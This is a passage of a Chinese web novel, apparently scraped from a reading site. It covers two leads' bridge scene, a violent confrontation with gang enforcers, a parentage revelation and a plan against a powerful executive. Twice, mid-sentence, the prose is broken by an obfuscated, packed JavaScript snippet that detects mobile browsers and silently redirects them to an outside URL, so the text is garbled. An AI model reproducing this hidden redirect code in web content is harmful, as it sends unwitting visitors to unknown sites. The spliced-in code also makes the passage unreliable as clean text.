“你的手,怎么了?”她走近几步,眼神落在那道伤疤上,目光灼灼。 “这个吗?很久之前打架弄的。”他恍若初醒地抬起手臂瞧了瞧,口气随意散漫。 烟灰积了长长一截,他却像是忘了,直到风吹落火星落在手背上,才慢条斯理地弹了弹。 一阵劲风吹过,穿过凌乱的发丝和混沌的晨雾,裴昭明看到闻鸢抬起那双浅棕色的眼睛看他,眼神带着一种担心却无可奈何的柔软。 朝霞从天边漫上来,给她周身镀了层模糊的光晕。 “裴昭明,你的撒谎水平甚至不如小时候。” 劲风吹乱了他的领子,闻鸢随手把散在外面的衬衫衣领压到风衣下面,语气没有责怪或愤怒,平静到像在唠家常。 细韧的发丝不期然地拂过他的侧脸,那触感轻得像羽毛,却又带着她发丝特有的微凉。 她身上惯有的、淡淡的鸢尾花香似有若无地萦绕在他鼻端,冷冽又锋利,顺着喉管往下蔓延,将他的心脏浸得钝痛。 闻鸢毫不费力地握住了裴昭明的手掌,细长的手指顺着男人的生命线挪动,最后停在腕骨附近。 指腹摩挲着那条细长的伤口,闻鸢垂着眼,眉心缓缓蹙起。 “很疼吗?” “还好,伤口很浅,没出多少血。” 他一改从前冷然矜贵的态度,垂下头,任凭闻鸢摆弄自己的手腕,整个人乖顺得不像话。 “别再让自己受伤了。”闻鸢捏着他的手腕,温热的指腹贴在那层薄薄的皮肤之上,仿佛这样就能为他减轻一些痛苦。 “我很担心。” 裴昭明的思绪恍然倒流回童年时期。 闻鸢会一边小心翼翼地用沾有碘伏的棉签帮他上药,一边会说些“痛痛飞走了”之类的蠢话。 疼痛是具体的、持续的,它并不会像一只鸟儿一样,轻盈地来去,不留下一点痕迹。 裴昭明的成长总是伴随着抽筋扒皮的痛苦,那些疼痛化作伤疤,即使结痂掉落之后也会留下或深或浅的印记。 在闻鸢离开的那段时间里,有时候他会觉得自己是一只半死的鱼,麻木,疲乏,了无生趣。 她就像上天赐予他的一汪水,带着清晨露气闯进他干涸的命里。 指间烟卷燃到半截,火星在朦胧的薄雾里明明灭灭,裴昭明凝望着闻鸢澄澈的双眼,夹着烟卷的手指微微蜷曲。 金桥上的灯光次第熄灭,在第一缕晨曦的照拂下,他轮廓分明的面容忽而柔软下来。 “好,我答应你,下次不会了。”他将闻鸢凌乱的头发拂到她耳后,声音温润和缓。 听到这句承诺,闻鸢冷肃的面庞才逐渐放缓。 她勾起唇角,转身倚在栏杆上,张开双手迎着朝阳,在温暖的晨曦中露出一个浅淡轻松的笑意。 “有烟吗?分我一根。”她用肩膀撞了撞裴昭明,眼睛却没有离开波光漪漪的河面。 裴昭明从兜里抽出一只香烟递到她唇边,闻鸢侧头叼住,动作相当熟练。 她撑着下巴看裴昭明掏出打火机,心里急得直发痒,可惜那打火机摆明了跟她过不去,刚冒出点火苗又熄灭了。 裴昭明眼角含笑,颇为无奈地对她挥挥打火机,“坏了,那别抽了,偶尔保护下你的肺。” 真是喝凉水都塞牙。 闻鸢露出一个“我就知道”的表情,脸颊僵硬了一瞬,原本轻松散漫的面容带了点淡淡的疲倦和无力。 裴昭明站在一旁欣赏她无能狂怒的表情,谁知下一秒,她却踮起脚尖,一把扯住他的衣领,沉声说了句,“低头。” 裴昭明不明所以,但还是听话地低头弯腰,看着那张白皙面容一点点接近。 她的下颌轮廓很流畅,白皙的皮肉下透着玉石般的冷硬质感。 这么近的距离,裴昭明只注意到了她紧抿的双唇。 她的唇线清晰分明,下唇中央有道浅浅的竖纹,偶尔说话时,她的唇角会极轻地向上提。 “借个火。”她凑上来,樱粉色的双唇间夹着一根细长的香烟,唇缝微微敞开,隐约露出洁白整齐的贝齿。 牙齿咬着烟蒂,唇部周围的那层滤嘴被浸润成更深的颜色。 女人的双手绕过他的脖颈,转而按住他的肩膀,裴昭明会意,将腰再次往下弯了弯。 两只烟终于相触,微弱的火星在短暂的交汇中燃起明亮的火光。 裴昭明抿着烟,眼睛一瞬不瞬地盯着闻鸢的脸,喉结无声滑动,连带着桃花眼都深邃了几分。 她身上的鸢尾花香被呼出的气息灼得炽热。 裴昭明不自觉地屏住了呼吸,不可自拔地感受那种燃烧的灼痛感。 呼吸交缠间,他伸手锢住闻鸢的腰,这样她可以不必费力踮脚。 “唔……”闻鸢微挑眉梢,看着那点火星渐渐又小下去,气得她瞪大了眼睛。 裴昭明闷闷地笑出声,却被闻鸢捏住后颈往她这边按了下去。 眼睛里溢出些无奈,但他却纵容地握着她的腰,用力将她向上托起。 橘色火光窜起的瞬间,那双桃花眼倏然睁开些许,眼尾的红意被火光染得更艳,瞳仁里盛着跳跃的火苗,抬眼时漫出几分漫不经心的慵懒。 等到薄荷味的烟草香气萦绕在口腔中,闻鸢血液里的躁动因子才真正安定下来。 她满足地眯起眼睛,顿觉心情畅快了几分。 她通体舒畅地伸了个懒腰,回头看裴昭明的时候,却发现对方站在原地一动不动地盯着自己。 桃花眼眼尾被眼圈熏得绯红,眼底却映着寒潭般的冷意,两种交织反差形成一股子冷艳,像是被冷水浸透得湿软的朱砂。 “怎么了?”她歪了歪头,敏感地察觉到对方骤然低落的心情。 “没事。”他随意地夹着烟,抬手将领口的扣子解掉两个,微不可察地叹了口气。 “我待会儿要回收藏馆,一起?”他扯了扯领子,像是受不了突如其来的燥热。 闻鸢想着自己也没地方可去,不如就暂时去裴昭明那里休息一会儿,落个清净。 “行,走吧。” 裴昭明的车就停在附近,闻鸢坐上副驾,偶然看到他手机骤然亮起的屏幕。 红色的未接来电布满屏幕,似乎下一秒就要冲破屏幕怼到闻鸢脸上。 而就在闻鸢愣神这短短几秒里,又有一个来电打进来。 屏幕上没有显示备注名,只是一串陌生号码。即使裴昭明开着静音没有管它,那通电话还是持续地响了50秒之久。 闻鸢以为裴昭明没看到,好心提醒道:“你有电话,需要接一下吗?” 握着方向盘的手指收紧几分,桃花眼中的冷意更盛。 “不用管。” 电话响了一路,等红绿灯时,裴昭明看也没看就直接按下关机键,索性眼不见心不烦。 闻鸢不知道发生了什么,但心里总有一种隐约的不安感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123268|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 或者说,从在金桥附近见到裴昭明的那一刻起,这种不安就从来没有消散过。 等他们到达玛莎收藏馆的时候,闻鸢的不安感却真正应验了。 门口聚集着很多强壮的彪形大汉,声音喧嚷,似乎跟收藏馆的安保人员发生了肢体冲突。 那些人身上或多或少地带着龙兽纹身,气质凶煞,闻鸢猜多少跟道上沾点关系。 远远看见裴昭明的车经过门口,那些人昂着头,转而围在车身周围,声势浩大,颇有威慑之意。 “待在车里别出来。”裴昭明冷哼一声,率先打开车门朝为首那人走去。 “乱什么?”他不慌不忙地走到车前,毫无畏惧之色,冷冷地睨着那些人。 “哟,裴老板,可候着您大驾了。”为首的那人染着一头黄发,身材高壮,脸上带着阴阳怪气的笑容。 “季老板让你们来的?”他冷漠地环绕一圈,冷峻的目光中带着无言的威慑。 被他冰碴子一样的眼神惊了惊,那人下意识地耸了耸肩膀,尽管对这尊冷面佛怕得要死,但他还是壮着胆子威吓道: “协议期限,您还记得吧?” “呵,”他扯起唇角,冰冷的眼神中不乏讽刺,“我还没死呢,他就已经等不及了,吃相未免也太难看了。” 那人听到这番夹枪带棒的话,不由得怒火中烧,他撸起袖子上前几步,却被裴昭明猛然掼倒在地。 “!” 一众alpha眼睁睁地看着一个文质彬彬的beta爆冲上来,直接把自己的老大摁倒在地,一时间愣了几秒。 裴昭明掐着那男人的下颌,手指用劲,骨头便嘎吱嘎吱地响起来。 透过手指的缝隙,那人看到一向笑脸迎人、春风和煦的男人阴沉着脸,脸上除了阴狠和杀意之外没有一丝其他表情。 他微微抬起脸,眼睛向下瞥着他,傲慢又冷漠的姿态宛若一个残忍的暴君在享受他人的痛苦和挣扎。 裴昭明看他的眼神,就像在看一只随时可以踩死的蚂蚁。 男人害怕,却也愤怒,双手青筋暴起,挥动手臂想要挣扎着逃开他的桎梏。 裴昭明用皮鞋一点一点地碾过他的指骨,眼底的狠厉如同午夜梦回的魇鬼,凄厉恐怖,如影随形。 “我帮姓季的挡刀的时候,你还在街上要饭呢。” “在我面前乱吠什么,嗯?” 尾音微微上扬,听着像在笑,眼底却淬着冰,黑沉沉的不见底。 男人的惨叫声不绝于耳,裴昭明抬头扫过围在周边的人,那些高大的alpha顿时被吓得没了声响,嚣张的气焰灭了一半。 裴昭明站起来,从兜里掏出一块手帕擦手。 手腕上的铂金表露出来,表盘反射的光比他眼底的温度更冷。 “滚。” 鼻梁塌了一块,下巴疑似脱臼的男人被小弟抬着离开了玛莎收藏馆。 目睹了一切工作人员战战兢兢,看向老板的眼神充满了畏惧。 相比于其他人小心翼翼,唯恐自己服侍不好暴君就会被杀头的姿态,闻鸢对裴昭明这副暴戾恣睢的样子就接受度很高。 她甚至觉得打架的裴昭明才是真实的他,之前笑意盈盈、风度翩翩地在赌场上逢迎的那个人都是伪装的假面,只能让闻鸢起一身鸡皮疙瘩。 两人走进办公室。 门一关,裴昭明就被身后的人拉住手腕往后扯,他对闻鸢没有防备,身体骤然失去重心向后倒去。 闻鸢掌着他的脊背垫了一下,他后退几步,脚后跟抵在门上。 刚稳住身体,闻鸢便欺身而上。 她的脸上没有恐惧、没有厌恶、也没有愤怒。 她只是很安静地看着他,用指腹温柔地抹去他眼角周围的一点尘土。 “我忍很久了,裴昭明。” “给你最后一次机会,告诉我真相。” 42. 第 42 章 裴昭明那双黑沉沉的眼睛望着闻鸢,嘴角扯起一个不明意味的笑容,嘲讽里不可避免地掺杂着苦涩。 “不是请了私家侦探调查我吗?怎么?一无所获?” 这种无动于衷的冷淡态度让闻鸢大为光火,她上前一步,双手捧住男人的脸,迫使他直视着自己的眼睛。 “一码归一码,我调查你和你主动跟我坦白是两回事。” 呼吸的频率加快了几分,她低沉的声音里压着怒火,浅棕色的眸子如同灼热的火星一样落在他脸上,烫得裴昭明不由自主地避开了视线。 或许是意识到自己的态度过于强硬,闻鸢收敛了脾气,好声好气地解释道: “如果私家侦探这件事让你觉得冒犯,那我在这里跟你道歉。” “但我的初衷并不是监视你或侵犯你的隐私。” “当初你和艾薇走得太近,我已经提醒过你一次,但你很固执,这点我很清楚。” “有些事情你不愿意告诉我,可我不能袖手旁观。” 她靠近裴昭明,眼睛里的悲戚和忧郁沉甸甸地坠着水色,仿佛把周身的空气都浸得凉透。 “你出事了怎么办?我这辈子只有你一个好朋友。” 她很怀念地将额头往他那边靠了靠,裴昭明顺从地低下头。 二人额头相触,呼吸清晰可闻。 “裴昭明,你是一个拧巴、不让人省心的大混蛋。” 感受到对方滚烫的温度,闻鸢露出一个比哭还难看的笑容,说话间盈着指责和埋怨,但嗓音却涩得沙哑。 “嗯,我是大混蛋。”裴昭明小心翼翼地环住她的腰身,闭眼感受她的气息。 冷然清冽的鸢尾花香让他全身紧绷的肌肉全部放松下来,花香裹着春日的生机,顺着呼吸钻进肺腑,驱散了连日攒下的疲倦。 等闻鸢的情绪逐渐平稳下来,裴昭明用指腹轻轻揉过她的眼角,露出那种纵容又妥协的笑意。 “你想知道什么,我都告诉你。” “唔……”闻鸢抬起手指捏捏他脸颊上并不多的软肉,像是某种故意的惩罚。 裴昭明用手掌贴着她的手背,却并没有制止她的胡闹,眼神从她微垂的眼睫滑到抿紧的唇瓣,目光专注。 窗外的梧桐叶落了一片。 闻鸢和他拉开一点距离,手指却被他轻轻牵着。 她盯着那张冷艳又似曾相识的脸,眼底翻涌着复杂的情绪。 “你是陆璟和艾薇的孩子,对不对?”闻鸢斗胆猜测道。 牵着她的大手倏而一顿,然后用更紧的力度裹住了她的手指。 喉结极轻地滚了滚,他的眼神深得像浸染了墨的寒潭,他神色不辨喜怒,只是轻轻点头承认道: “嗯,我是。” 荒谬的猜测被验证之后,闻鸢并不开心,只觉得心间闷闷的。 她有点生气,张嘴想要破口大骂,但却只是咬了咬唇,把头扭向一边。 裴昭明有种置身事外的冷漠,仿佛被随意抛弃的那个孩子并不是他。 “陆璟当初精神失常,把我丢在了金桥下面,人贩子把我抱走后转卖到了下城区。” “买走我的那对夫妇又怀了孩子,觉得养不起,就把我丢在街上,然后我很幸运地被妈妈捡回去养了。” “闻鸢?你在哭?”裴昭明一顿,把闻鸢拉到身前,弯下腰去看她。 “才没有,你走开,眼睛流汗罢了。”她用一只手抵着他的肩膀,头扭得远远的,倔得要命。 眼眶周围有点红,她现在有点像只外强中干的兔子,前一秒张牙舞爪,后一秒说哭就哭,还死不承认。 裴昭明失笑,又有点心疼,只是从桌子上抽出几张纸巾递给她,声音里带着些促狭的笑意。 “喏,纸巾在这儿,擦擦汗。” 表面冷淡社畜但实际泪点极低、共情力极强的闻鸢:…… “你是怎么发现自己的身世的?” 裴昭明抬手倒了杯水给她,神情恹恹的,“艾薇对我的态度很奇怪。” “起初我以为她跟醉金窟的那些富人一样,想玩潜规则。” “但后来,我发现她会用复杂又愧疚的眼神盯着我。” 闻鸢想象了一下那种眼神,一阵恶寒从脊骨窜到脑后。 “她会旁敲侧击地问我小时候的事情,包括我的出生日期、出生地、父母。” 指尖摩挲着水杯边缘,闻鸢抿了口水,接话道:“所以你起疑了。” “嗯,”裴昭明轻声回应道,默了半晌之后补充道:“毕竟这和她的行事风格大相径庭。” “顺藤摸瓜查到这桩旧事并不难,再加上DNA检验,很容易就能推测出当年的真相。” “你……有没有想过和陆家联系?”闻鸢顿了顿,忽而想起还有陆家的存在。 裴昭明抿了抿唇,眼底浮起疏离和讽刺。 “联系?据我所知,陆璟的死有一半的责任在陆家。他转化成omega痛不欲生的时候,陆家人为了掩盖丑事,把他丢到疗养院不管不问,间接导致他精神失常。” 他慢悠悠地晃到书桌前,拉开抽屉,里头铺着的黑色丝绒上,整齐地躺着十几个不同材质的打火机,品质上等,造价昂贵,每只都像精心供奉的艺术品。 他拿起一只藤蔓花纹的银色款式,火机机身上嵌着极小的蓝宝石,在光线里流转着幽微的蓝。 “数年来他们根本没找过我,恐怕巴不得我死掉了吧。” “毕竟对于他们这种体面的上等人来讲,我就是个麻烦。” 青蓝色的烟圈从薄唇中缓缓吐出,他坐在扶手椅上,双腿交叠,姿势优雅慵懒。 他的神色很淡漠,对自己的亲生父母都是直呼姓名,话里还带着冷眼旁观的嘲弄。 闻鸢若有所思地点点头,可转念一想,又觉得有些地方有些不对劲。 “所以呢,你找艾薇,其实是想跟泽诺争家产?” 她一边擦着眼泪,一边说着这个可能的猜测,说着说着自己都没绷住笑。 滑天下之大稽,联邦法律可不保护非婚生子的财产。 裴昭明也被她这种奇思妙想逗乐了,“争家产?又不是在演八点档豪门狗血剧。” 他抿住烟,身体放松地倚在靠背上,长睫在眼下投出片浅影,恰好遮住眸底翻涌的情绪。 穿堂风从南边的窗户呼啸而过,脆薄的梧桐树叶在秋风中发出沙哑的簌簌声。 萦绕他周围的烟雾散去,露出一张矜贵又略带疲惫的脸。 他轻飘飘地对闻鸢抛出另一个重磅炸弹。 “猜猜,假如我拿私生子这件事勒索她,她会给我多少钱?” 他的语气太过随意,仿佛只是在跟闻鸢说中午买了个三块钱的冰淇淋那么随意。 她花了一点时间来处理自己的震撼,呼吸都凝滞了两三秒。 “不,她一分钱都不会给你,而你可能会因勒索罪坐穿牢底。” 闻鸢宁愿他去跟艾薇演母子情深的豪门狗血剧,而不是骤然跳频到《今日说法》。 “艾薇是个怎样的人,我比你清楚太多,你想要从她身上撕下一块肥肉,就好比从老虎口中夺食。” 裴昭明无所谓地耸耸肩,微微偏过头,避开了迎面而来的穿堂风,下颌线绷得很紧。 “坐牢?还行吧,总比被人丢下金桥喂鱼好。” “什么意思?”闻鸢心里骤然升起一股不详的预感。 骨节分明的手指漫不经心地转着烟卷,裴昭明抬了抬下颌,漫不经心地说道: “跟季老板签了对赌协议,醉金窟盈利未达预期,我现在欠他五千万。” 闻鸢喉咙一紧,寒意顺着脊背灌到后颈,脸颊顿时白了几分,“如果还不上呢?” 烟草燃烧的微光在指缝间明灭,烟灰抖落在昂贵的西装裤上,烫出一个难看的洞。 他抬眼,回望闻鸢,然后对她露出一个平静到瘆人的笑意。 “用命赔。” 认命的、无力的笑。 那一瞬间,她好像在裴昭明身上看到了很多人的影子。 就好像在生命的重锤之下失去了全部力气,在庞然巨物的对比之下才知道自己的生命微若尘埃。 在下城区的生活像是白日魅影一般萦绕在闻鸢脑际。 破败的街道、纷乱的人影、空气中似有若无的粉尘,以及穿着厚厚防护服,在一堆绘有红色骷髅头的化学污染物前面分类的父亲。 闻鸢的心脏像被一只无形的大手狠狠捏住,生理性的眩晕让她的胃翻江倒海。 脸颊白了一度,嘴唇徒劳地张了张,而后开口道:“还有其他办法吗?” 裴昭明盯着窗外的梧桐树,冷静得不像正常人,“目前勒索是最快的,其他办法等我再想想。” “别担心,总能解决的。”这句安慰在窒息的沉默中显得异常苍白。 华都的第一场秋雨比以往来得都要早。 气温急剧下降,空气中弥漫着一股潮湿的、衰败的气息。 闻鸢尤其讨厌今年的秋天,枯叶被过剩的雨水浸泡得发烂,凌乱地横陈在街边大大小小每个角落。 皮鞋绕过一滩积水,闻鸢打着伞,小心地将一份文件护在怀里。 小雨天气,仍然有零星的人围在奥兰德大厦前面,手里拿着抗议牌,像是一尊24小时全自动待机的机器人。 “我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133457|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻鸢,约顿先生托我送份文件给艾薇女士。” 走进大厦,向前台告知了来意后,她就被艾薇的秘书之一领到了会客室坐着。 会客室在集团顶层,这里视野极佳,整面的落地窗将兰江和金桥尽收眼底。 高跟鞋在大理石地面敲出清脆的响,一位红唇长发、干练利落的女性对闻鸢点了点头,提醒道,“会议差不多结束了,您跟我来。” 她刚领着闻鸢走到走廊,便看到门厅处的红木门被骤然推开。 几个西装革履的高管簇拥着艾薇出来,每个人都表情严肃,小心谨慎,不敢出一丝差错。 他们自觉地落后了艾薇一步,低着头,余光注意着她的一举一动,顺从驯服姿态如同一只只待宰的羔羊。 艾薇直视前方,眼神没在任何人身上多停留一秒。 等到她挥手示意他们离开时,紧绷的肩膀骤然松快下来。 闻鸢看到有个人偷偷喘了口气,忙不迭地溜进电梯间。 “约顿的文件?”艾薇瞟了闻鸢一眼,询问道。 闻鸢点点头,站在原地等候发落。 “跟上。”艾薇踩着高跟径直往前走,波浪卷的长发打理得柔顺服帖,富有光泽。 坐在办公室门口的秘书站起来,稳稳地接住艾薇丢过来的财报和手机,然后为她拉开大门。 她的办公室和她本人一样,极其简约禁欲的风格,全部都用冷色调,进去之后闻鸢都觉得自己周身的温度低了一截。 闻鸢把文件递给她,艾薇随意瞥了一眼,不耐烦地把这东西丢到碎纸机里。 “告诉他,光辉教廷的文件,他自己处理就行。” “明白。没什么事的话我先回去了。”闻鸢颔首,礼貌向她告辞。 刚迈出一步,就听到艾薇低沉的嗓音在身后响起,“听说你跟学校上交了留学文书?” 闻鸢脊背一僵,捏着文件袋的手指骤然收紧,她转过身,双手交叠在身前,谨慎地回复了句: “目前是有留学的意向,莱大的研究所跟我手头的……” “行了,”她抬手打断闻鸢的话,眉心微微蹙起来,“不要做无用的事。” “毕业之后我会安排泽诺到分公司历练。” “至于你……”艾薇抬头看她一眼,随后漫不经心地拧开笔盖,开始在文件上面签字。 “你就履行合同,去当他的生活助理好了。” 闻鸢站在原地没动,她不露痕迹地深深吸了一口气,才勉强克制住想要上前给她一拳的冲动。 生活助理? 说好听点叫生活助理,说难听点叫高级保姆。 那她本科四年兢兢业业,帮导师干活,发刊、做实验,评奖评优算什么呢? 算她倒霉吗? 她的努力就像小狗屁。 闻鸢宁愿艾薇把她下放到基层当普通职工,也不愿意给少爷处理那些鸡毛蒜皮的小事,当他负面情绪的垃圾桶。 她真的受够了。 似乎是察觉到她隐约的抗拒,艾薇冷冷地瞥了她一眼,脸上带着那种天龙人惯有却不自知的尖酸刻薄。 “用那种眼神看着我做什么?” 手腕一顿,笔尖在纸上晕染出一点墨痕。 “不满吗?” 她利落地在签名处画下一个优雅的花体签名,“你这种人,可没资格不满。” 那份文件被扔到她脚边,艾薇把笔随意地扔到笔筒里,手指撑着下巴,慵懒的嗓音中带着不可置疑的威压。 “出去。文件给秘书。” 纯黑色的文件夹搭在闻鸢鞋尖,闻鸢盯着上面的皮质纹理愣了两秒,然后木然地弯腰,捡起,推门出去。 外面雨势渐大,抗议的人数却多了一倍。 沁凉的雨丝顺着脖颈滴落到他们的脸上、衣领里,像一场潮湿而漫长的默哀。 “不反抗,就灭亡!” 闻鸢没打伞,和他们淋着同一片雨,只觉得心里燃起一场大火。 贯穿她生命的怒火中混杂着些许不甘和压抑,以摧枯拉朽之势烧毁她的懦弱和胆怯,只剩下一颗淬火的、坚硬如铁的心。 她拿起手机,拨通了裴昭明的电话,将她脑内初步成形的计划和盘托出。 电话那头沉默了半晌,犹豫着开口道:“这样做的话,你会被牵连进去,你确定?” 闻鸢平静的声音在听筒里显得有些沙哑,“其实道理很简单,只不过我现在才想明白。” “以前总想着忍一忍,退一步海阔天空。” “但其实是我退一步,他们进一万步。” “等真到了连口热乎饭都捞不着的时候,掀桌子反而最管用。”